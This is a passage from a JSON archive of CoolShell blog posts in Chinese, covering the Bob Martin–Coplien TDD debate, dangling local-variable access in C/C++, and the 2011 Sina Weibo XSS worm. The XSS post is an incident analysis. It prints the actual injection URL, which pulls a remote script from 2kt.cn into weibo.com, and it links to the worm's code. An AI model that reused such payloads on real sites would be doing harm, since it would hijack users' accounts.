width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4883.html\">排序算法 Sleep Sort</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-27 Bob大叔和Jim Coplien对TDD的论战.html",
    "content": "<html><body><p>今年春节时，我写了一篇《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》，在这篇文章中我列举了一些关于使用TDD的一些难点和对TDD的质疑，后来出现了一些争论（可参见那篇文章的评论），以及Todd同学的《<a href=\"https://coolshell.cn/articles/3766.html\" target=\"_blank\" title=\"[转]TDD到底美还是不美？\">TDD到底美不美</a>》，还有infoQ中文上的那个<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\" title=\"虚拟座谈会：TDD有多美？\">几乎没有营养离线讨论</a>。今天，有网友给我推来一个英文版infoQ的视频——“<a href=\"http://www.infoq.com/interviews/coplien-martin-tdd\" target=\"_blank\" title=\"Coplien and Martin Debate TDD, CDD and Professionalism\">Coplien and Martin Debate TDD, CDD and Professionalism</a>”，这是2008年2月18日的视频，视频的主角两个人争论TDD好还是不好，一个是敏捷社区的教主级的人物——Robert Martin（大家称之为“Bob大叔”），另一个是C++，OO，多范式编程的大师<a href=\"http://en.wikipedia.org/wiki/Jim_Coplien\" target=\"_blank\">Jim Coplien</a>（大家都叫他Cope）。这两个人对TDD的见解有分歧。Coplien的很多观点和我之前的不谋而合，而他自己称他是坚决强烈地站在TDD的对立面上。下面是Jim的原话：</p>\n<blockquote><p>I have adopted a very strong position against what particularly the XP community is calling test driven development.</p></blockquote>\n<p>InfoQ的视频很多时候相当的不给力，就像有前列腺的患者撒尿一样，半天都挤不出一滴。不过，好在那里有这两个人对话的摘录。在这里，我给大家摘要一下：</p>\n<p style=\"text-align: center;\">——————————————————正文分割线————————————————————</p>\n<p>Coplien首先让Uncle Bob定义了一下TDD，Uncle Bob说明了他的三个法则：（敏捷的同学一定不陌生）</p>\n<ol>\n<li>一个测试驱动的程序员，其不会在写出一个测试失败的Unit Test前，去写一句可用在生产线上的代码。（没有测试之前不要写任何功能代码）</li>\n<li>在编写用于生产线上代码之前，不写过多的测试失败的Unit Test。（只编写刚好能体现一个失败情况的测试代码）</li>\n<li>在现有代码通过Unit Test前，不写更多的用于生产线上的代码。（只编写恰好能通过测试的功能代码）</li>\n</ol>\n<p>Coplien说他有意见的不是这三个法则，而是因为这个三个法则是孤立说出来的。Coplien说他和一些咨询师或是Scrum Master参与过很多的项目，他们发现这些项目都有两个问题：</p>\n<ol>\n<li>他们使用TDD的时候，软件没有一个架构或是framework。当然，Kent Beck说——TDD可以驱使你去做架构。但是，<strong>TDD和Unit Test 是一回事吗？</strong>Unit Test是一个伟大的事，尤其是当你去写API和类库的时候。今天XP所说的TDD和UT很不一样。如果你使用TDD来驱动你的软件系统架构，那么，<strong>基本上来说，三个迭代以后，你开发的软件就会crash掉，而且无法再往前开发</strong>。 因为什么？因为连软件团队自己都受不了这三个迭代出来的架构，而且你还会发现，你根本没去去重构。</li>\n<li>第二个问题是，TDD这种方法破坏了GUI（图形界面），就算是Kent也说：“<strong>你永远不可以在一个漂亮的界面后面隐藏一个糟糕的架构</strong>”，Coplien强烈地相信软件的架构是通过界面来发出其光芒。他觉得如果没有一个好的软件架构，这个会影响用户的操作。</li>\n</ol>\n<p>Coplien接着说，如果我们使用Uncle Bob的三条法则，我们也许没有什么问题，<strong>但Coplien想告诉大家另一个非常重要的事，那就是软件架构。并说：“我根本不接受TDD是软件专业化实践的论点”</strong>。</p>\n<p><span id=\"more-4891\"></span></p>\n<p>Bob大叔说，让我们回到99年，那时的敏捷社区觉得软件架构是无关的，不需要软件架构，只需要做一堆tests，做一堆stories，以及足够快的迭代，这样就可以让那些代码魔幻式地拼装起来，这就是horse shit。对于大多数的敏捷拥护者来说，这的确是愚蠢的。今天你再和Knet说这个事，他也会说那不过是一种说法。</p>\n<p>Coplien回应到，实际上，Knet在解释XP的时候，在他的书131页的位置说过，“是的，你得做些前期的架构，但也别把自己搞乱了”。</p>\n<p>Bob大叔把话题转回来，继续聊关于架构方面的事，他说软件的架构很重要，他也写很一些关于架构的书，他说他也是一个架构方面的怪才，但是他认为架构自己并不会形成软件的所有的外表。他觉得好的软件架构和设计能力应该出现在若干次迭代之后。他觉得你在架构软件的时候，你会创造一些东西，也会破坏一些东西，并且会在几次迭代中做一些试验性的工作，来尝试一下不同的架构。<strong>在2到3次迭代以后，你可以知道那一种架构是对的，这样，你可以在后面的迭代中进行调整 。因此，他认为架构是需要进化和发展的，而不会因为被可执行的代码所形成，也不会因为你所写的测试而形成</strong>。</p>\n<p>Coplien赞同架构进化的观点，而且他相信软件的架构的演变和进化不是因为你写的代码，也不是因为Use Case，也不是告诉你你的软件需求的范围和其中的关系，但是如果你做的方法是以增量式的，以用户驱动式的，而你却在和用户沟通时没有一些前期的业务知识，那么这一定是相当有风险的，并且你一定会把事搞砸的。</p>\n<p>Coplien接着说，他在Knet早期提到TDD的时候和Knet时，提到YAGNI（陈皓注：You Aren’t Gonna Need It，XP的一个法则，也就是只做最简单的事）时，Kent说到：“让我们来做一个银行帐户，一个储蓄帐户”，储蓄帐户其实就是对余额进行一些加加减减的事，就像一个计算器一样。Copilen继续解释到，但是如果你要做一个真正的银行系统，你的软件架构根本不可能从一个储蓄帐户的对象（计算器）重构出来。因为储蓄帐户根本就不是一个对象，其是一个流程，后面有一个数据库的查帐索引事务，还有存款保证多和利息，还有一些转帐功能。就算是这样，这也只是用户的功能，你还需要支持税务人员和精算会计师等这些人，<strong>这会让银行系统成为一个错综复杂的软件架构，这绝对不是你可以用迭代干出来的事。当然，Bob大叔是可以的，因为他有40年的银行系统的经验。但是Bob大叔你的这40年可真不敏捷啊</strong>。</p>\n<p>Coplien接着说， 因为Bob大叔可以在软件前期做很多很重要的决定，这让得后面的事变得相对比较简单。Coplien根本不相信只要你把代码往那一放，在上面披上一层皮，再设置好一些角色，设置好接口，在文档里写上整个业务结构，而你只有在有人花钱的时候你才会在其中填充进真正的代码，反之就违反了你的YAGNI原则。所以，你只是在你需要的时候做你要做的事，但你却还是要提前得到你的软件架构，否则你一定会把你自己逼进死角的。</p>\n<p>Bob大叔辩解到，我说的可能和你说的这个有点不同。我们应该不会像你所说的往接口中写一些抽象成员函数，而是创建一些有抽象接口的对象。当然，我不会把一下子为这个对象装载上一堆方法。那些是我需要使用测试驱动或是需求驱动来做的事，我还会随时随地在看是否哪里软件架构可以让我拆分接口。</p>\n<p>Coplien说，问题 是你得知道你要干什么？他说他非常同意Knet的书”XP Explained”里说的——“你不能去猜”，然后他举了一个例子，一个他曾经在一个电信项目中重新架构软件的例子，这是一个长途交换机的项目，项目组特别喜欢用面向对象，有一个人需要去做一个“Recovery Object”（应该是系统恢复对象），Coplien说这是很扯的一件事，因为系统恢复根本就不是一个对象，因为他对业务不熟，所以想这么做。而当你在细节上分析的时候，你会发现这根本就不是一个有成员方法的对象。我个人认为，Coplien想用这个例子来说Bob大叔的先定义对象的抽象接口并不是一个好的需求分析的方法。Coplien还说，这个事情今天被资本化成了SOA，真是在玩火啊。</p>\n<p>Bob大叔说，这个他很同意。你的确需要知道这个对象的意义是什么。而且他和Coplien都同意应该根据可运行的代码来决定未来，而不是基于投机心理搞一个巨大无比的架构。</p>\n<p>此时，Bob大叔把话题又带回原地，他问Coplien：“你需要多少的时间才能写出可运行的代码？是不是一个系统需要写200万行代码才能算？”，Coplien说，在他的经历中，200万行代码算是小项目了，他的项目都是几亿行代码的。而在让代码可以跑起来，他至少需要让所有的对象都联系起来。</p>\n<p>Bob追问到，“那么你是怎么测试这些对象的连接性的？”，Coplien说，我当然要测试，我会测试系统启动和停止，看看有没有内存问题，半小时就好了。Bob大叔似乎找到了突破点，于是说到：“Excellent！那么我们间的分歧是什么呢？也许你只是不同意TDD的概念和其专业化，当然，这是另外一个话题了”。</p>\n<p>然后，Coplien说了一段我非常非常认同的话——“我看到很多人正在做正确的事，来避免我们之前讨论的那些问题，当然那不是TDD的扩展，而是Dan North所说的BDD。可见，软件开发中很多人在开发软件中都是在用正确的很好的方法，而我对此有意见的是，有人把这个事说成TDD，然后人们就去买相关的书来了解TDD，并且看到“architecture only comes from tests”，我在过去6个月中听到过4次这样的说法，这就像你所说的，完全就是horse shit。而关于你所说的专业化的事，如果你没有见过一个专业化你怎么知道？”。（不是吗？大多数人都知道怎么开发软件，而不是TDD才是专业化的软件开发。）</p>\n<p>然后，Bob想多谈谈专业化的事，Bob说，在今天，一个不负责任的程序会提交一段他没有跑过单元测试的代码，所以，要确定你没有把一条没有测试过的代码提交到代码库里的最佳做法就是TDD。</p>\n<p>Coplien完全不同意这个说法。他觉得底层的东西是更重要的。他用了一个示例来攻击Bob大叔的这个观点，他先是说代码走查和结对编程都有好的有价值的地方，当然和这个话题不相关。然后他又说了Unit Test，想想我们的单元测试，可能我们的测试案例并不可能测试我们程序中参数的各种状态，这些状态有可能只是半打，有可能是一百个，有可能是2的32次方个，所以，我们可以命中一些状态，也会没有测试到一些状态，我们的测试真的只是试验性的，所以，如果你在测试中发现bug，你真的很幸运。</p>\n<p>随后，Coplien推崇了一个叫“<a href=\"http://en.wikipedia.org/wiki/Design_by_contract\" target=\"_blank\">Design By Contrac</a>t” – 契约式设计的方法（我在<a href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\" title=\"一些软件设计的原则\">软件设计中那些方法</a>中提到过，），这个方法认为软件有前验条件，后验条件，还有不变的。这个方法是Eiffel项目使用的一个方法，使用这个方法你可以静态的去做一些检查，相当于你做了一个基础架构来干这些事。Coplien相信这个方法有TDD所有的优点——我需要努力思考我的代码，我需要思考软件的外部接口，而且，Coplien发现这么做会比做测试更有效。这会让你对那些参数的范围考虑地更为宽广，而不是只在测试案例写几个随机分散的值来测试。</p>\n<p>今天，Bertrand Meyer(Eiffel语言的创造者，他也不赞同TDD)把这个方法推进了一步，叫CDD – Contract Driven Development，这个是一种关注于对象间关系，其在程序运行前提条件和运行后的后验条中达成一种契约，可以通过对契约条件的动态或静态的检查，来对程序的功能进行验证。这样可以让你更有效地测试程序。这种方法需要对业务的重点部位非常好的了解。这是TDD很难做到的（这就是我在《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》一文中说的TDD的测试范围是个很大的问题）。</p>\n<p>Bob大叔似乎在努力回忆CDD和Eiffel，然后他说，TDD不就是干这个的吗？TDD就是把契约变成单元测试，不但测试输入，也测试返回值，这不就是先验条件和后验条件，而且他说，Unit Test和代码结合得更紧，而契约没有和代码结合得紧密，这是他觉得很不舒服的地方。</p>\n<p>Coplien说Bob大叔创建了不应该创建的二元论。他说代码在哪里，UT就跟到哪里，代码有多臃肿，UT就有多臃肿，而UT也是代码，也会有BUG，所以，其实这真是事半功倍。还有一个最有名的示例是ADA编译器，其使用了TDD，反而增加了代码中的BUG，因为你的代码多，测试就多，代码就更多，整个代码就太过臃肿。如果你测试中使用了断言，这意味着你就耦合上了代码，你的测试案例和你的代码耦合地越多，你的代码就越难维护。这就是我在《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》一文中说的TDD的代码臃肿和维护问题）</p>\n<p>Bob大叔为Coplien对代码臃肿的说法感到惊讶。Coplien说，这就是他的经历，他看到的。Bob大叔承认有很多混乱的测试和混乱的代码，他觉得像XUnit这样的工具被滥用了。Coplien打断道，这不是要和你争论的，我争论的是这就是我看到大家在实践的东西。</p>\n<p>Bob大叔反回到，你有没有看到CDD也被滥用的情况？Coplien说，他只觉得目前，软件业对CDD用的还不够。</p>\n<p>最后，时间不够了，Bob大叔问了一个不相干的问题，他说，我们这里有BDD,CDD, TDD, 关于DD，他不知道谁是最先第一个使用带DD这个词的，他说他好像记得一个RDD – Responsibility Driven Development。</p>\n<p>Coplien对这个问题可能很无语，他只能说——“DD，这是Unix的一个命令嘛，Disk Dump，但这可能算。谢谢你Bob，很高兴又一次见到你 ”</p>\n<p style=\"text-align: center;\">——————————————————正文分割线————————————————————</p>\n<p>看完后，我的感觉如下：</p>\n<ul>\n<li>这是2008年就在讨论的事，而在2011年我发布了《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》后中国这边才开始讨论。（InfoQ和 Thoughtworks怎么不去找Coplien？）</li>\n<li>英语很重要，不懂英语，只看国内的东西，你就容易被洗脑，你就需要更多的时间和精力去思考那些早被人思考过的问题。</li>\n<li>开发和测试，都是需要充分地了解业务，充分的思考，充分权衡后才能做得好的事。并不是你用了哪个方法后就专业了，就NB了。</li>\n<li>相当BS——上不谈业务，下不谈技术，只谈方法论的人和公司，这是绝对的扭曲。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3766.html\"><img alt=\"[转]TDD到底美还是不美？\" height=\"150\" src=\"../wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-28 在函数外存取局部变量的一个比喻.html",
    "content": "<html><body><p>在StackOverflow上一这样一个<a href=\"http://stackoverflow.com/questions/6441218/can-a-local-variables-memory-be-accessed-outside-its-scope/6445794#6445794\" target=\"_blank\">关于C/C++的问题</a>，问问题的人给了一个代码如下：</p>\n<pre class=\"EnlighterJSRAW\">int * foo()\n{\n    int a = 5;\n    return &amp;a;\n}\n\nint main()\n{\n    int* p = foo();\n    cout &lt;&lt; *p;\n    *p = 8;\n    cout &lt;&lt; *p;\n}</pre>\n<p>你可以编译并运行这个代码（编译时会有一个Warning），结果是：5 8。看上去你可以存取一个函数内的局部变量。但这和我们理解的不一样——函数内的变量在函数退出时就被释放了，不应该在外部还可以被引用。当然，对于C/C++熟悉的人都知道其实并不是真正的释放，你依然还可以通过内存地址去进行操作，这是C/C++的内存管理的不安全性——指针可以用来乱指。</p>\n<p>这个问题的解答是比较简单的，但是这个问题有一个答案中的<a href=\"http://stackoverflow.com/questions/6441218/local-variables-memory-can-be-accessed-outside-its-scope/6445794#6445794\" target=\"_blank\">比喻非常精彩</a>。这个比喻是这样的——</p>\n<p><span id=\"more-4907\"></span>你在某个酒店订了一个房，你入住的时候，你放了一本书在这个酒店的抽屉里，但是你走的时候，你忘了这本书。而且，你还没有把这个房间的钥匙还回去。于是，你在未来某个时候，偷偷地回来，打开这个房间的门，你看到了你的书还在里间。当然，还还可以放回别的书。因为，这个酒店管理不会在你走的时候把你留下的书清走，而且，这个酒店的管理的安保措施不是那么严格，因为他信任每一个客人都会遵守管理条例。</p>\n<p>在这种情况下，如果你幸运的话，书还会在那里，也可能你的书已经没了。也有可能当你回去的时候，有一个人在那里正在撕你的书，或者酒店把那个抽屉都挪走并变成衣柜，或是整个酒店正在被拆除以改成了一个足球场，而你偷偷摸摸进到施工现场的时候被炸死。</p>\n<p>真是很精彩的比喻。这就是C/C++的不安全的地方，也正是Linus说的，<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">C++是一门恐怖的语言是因为有很多不合格的程序员在使用它</a>。就像你看到小孩子玩火一样的恐怖。</p>\n<p>关于这个事，还有一个比较经典的示例如下—— 函数a的初始化会影响函数b的数组。注意函数a中的 <span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; font-size: 12px; line-height: 18px; white-space: pre;\"><code>volatile </code><span style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">关键字。</span></span></p>\n<pre class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\nusing namespace std; \nvoid a()\n{\n    volatile int array[10];\n    for (int i = 0; i &lt; 10; i++)\n        array[i] = i;\n}\n\nvoid b()\n{\n    int array[10];\n    for (int i = 0; i &lt; 10; i++)\n        cout &lt;&lt; array[i];\n}\n\nint main()\n{\n    a();\n    b();\n}</pre>\n<p>真是可爱的C/C++。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4907.html\">在函数外存取局部变量的一个比喻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-28 新浪微博的XSS攻击.html",
    "content": "<html><body><p>今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等微博和私信，并自动关注一位名为hellosamy的用户。</p>\n<p>事件的经过线索如下：</p>\n<ul>\n<li>20:14，开始有大量带V的认证用户中招转发蠕虫</li>\n<li>20:30，2kt.cn中的病毒页面无法访问</li>\n<li>20:32，新浪微博中hellosamy用户无法访问</li>\n<li>21:02，新浪漏洞修补完毕</li>\n</ul>\n<p style=\"text-align: center;\"> </p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_4915\" style=\"width: 583px;\"><img alt=\"新浪微博XSS事件\" class=\"size-full wp-image-4915\" height=\"148\" src=\"../wp-content/uploads/2011/06/sina_xss01.png\" title=\"新浪微博XSS事件\" width=\"583\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-4915\">新浪微博XSS事件</figcaption></figure>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">在这里，想和大家介绍一下XSS攻击，XSS攻击又叫跨站脚本式攻击，你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。</p>\n<p style=\"text-align: left;\"><span id=\"more-4914\"></span></p>\n<p style=\"text-align: left;\">首先，我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”，其实是在你的本地设置了一个cookie，这种方式可以让你免去每次都输入用户名和口令的痛苦，但是也带来很大的问题。试想，如果某用户在“自动登录”的状态下，如果你运行了一个程序，这个程序访问“自动登录”这个网站上一些链接、提交一些表单，那么，也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。这就是XSS攻击的最基本思路。</p>\n<p style=\"text-align: left;\">再说一点，不一定是“记住你的用户名和密码”或是“自动登录”的方法，因为HTTP是无状态的协议，所以，几乎所有的网站都会在你的浏览器上设置cookie来记录状态，以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗口运行，也就是说，你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。</p>\n<p style=\"text-align: left;\">当然，你不必过于担心访问别的网站，在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源（你可以引入其它网站的js）。当然，这是浏览器对js做的检查，所以，浏览器并不一定会做这个检查，这就是为什么<a href=\"https://coolshell.cn/articles/3921.html\" target=\"_blank\" title=\"中国仍是IE6的重灾区\">IE6是史上最不安全的浏览器</a>，没有之一。只要你没有在用IE6，应该没有这些问题。</p>\n<p style=\"text-align: left;\">XSS攻击有两种方法，</p>\n<ul>\n<li>一种就像SQL Injection或CMD Injection攻击一样，我把一段脚本注入到服务器上，用户访问方法服务器的某个URL，这个URL就会把远端的js注入进来，这个js有可能自动进行很多操作。比如这次事件中的帮你发微博，帮你发站内消息等。注入有很多方法，比如：提交表单，更改URL参数，上传图片，设置签名，等等。</li>\n</ul>\n<ul>\n<li>另一类则是来来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如 社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少ajax 要发起跨站调用是非常困难的（你可能需要hack浏览器）。</li>\n</ul>\n<p>这次新浪微博事件是第一种，其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本，其通过http://163.fm/PxZHoxn短链接服务，将链接指向：</p>\n<p style=\"text-align: left; padding-left: 30px;\">http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update</p>\n<p style=\"text-align: left;\">注意，上面URL链接中的其实就是&lt;script src=//www.2kt.cn/images/t.js&gt;&lt;/script&gt;。</p>\n<p style=\"text-align: left;\">攻击者并不一定是2kt.cn的人，因为.cn被国家严格管制（大家不知道coolshell.cn 的备案备了不知有多少次），所以，我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。</p>\n<h4 style=\"text-align: left;\">其它</h4>\n<ul>\n<li>初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。</li>\n<li>史上最著名的XSS攻击是Yahoo Mail 的<a href=\"http://en.wikipedia.org/wiki/Yamanner\" target=\"_blank\">Yamanner </a>蠕虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术，这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求，从而得到用户的地址簿，并发送攻击代码给他人。</li>\n<li>为什么那个用户叫hellosamy，因为<a href=\"http://en.wikipedia.org/wiki/Samy_(XSS)\" target=\"_blank\">samy</a>是第一个XSS攻击性的蠕虫病毒，在MySpace上传播。</li>\n<li>关于攻击的代码在这里：<a href=\"https://coolshell.cn/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip\">06.28_sina_XSS.txt</a> （编码风格还是很不错的）</li>\n</ul>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5247.html\"><img alt=\"国内微博和Twitter的最大不同\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3872.html\"><img alt=\"微软用新浪来当反面教材\" height=\"150\" src=\"../wp-content/uploads/2011/03/affc-image1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 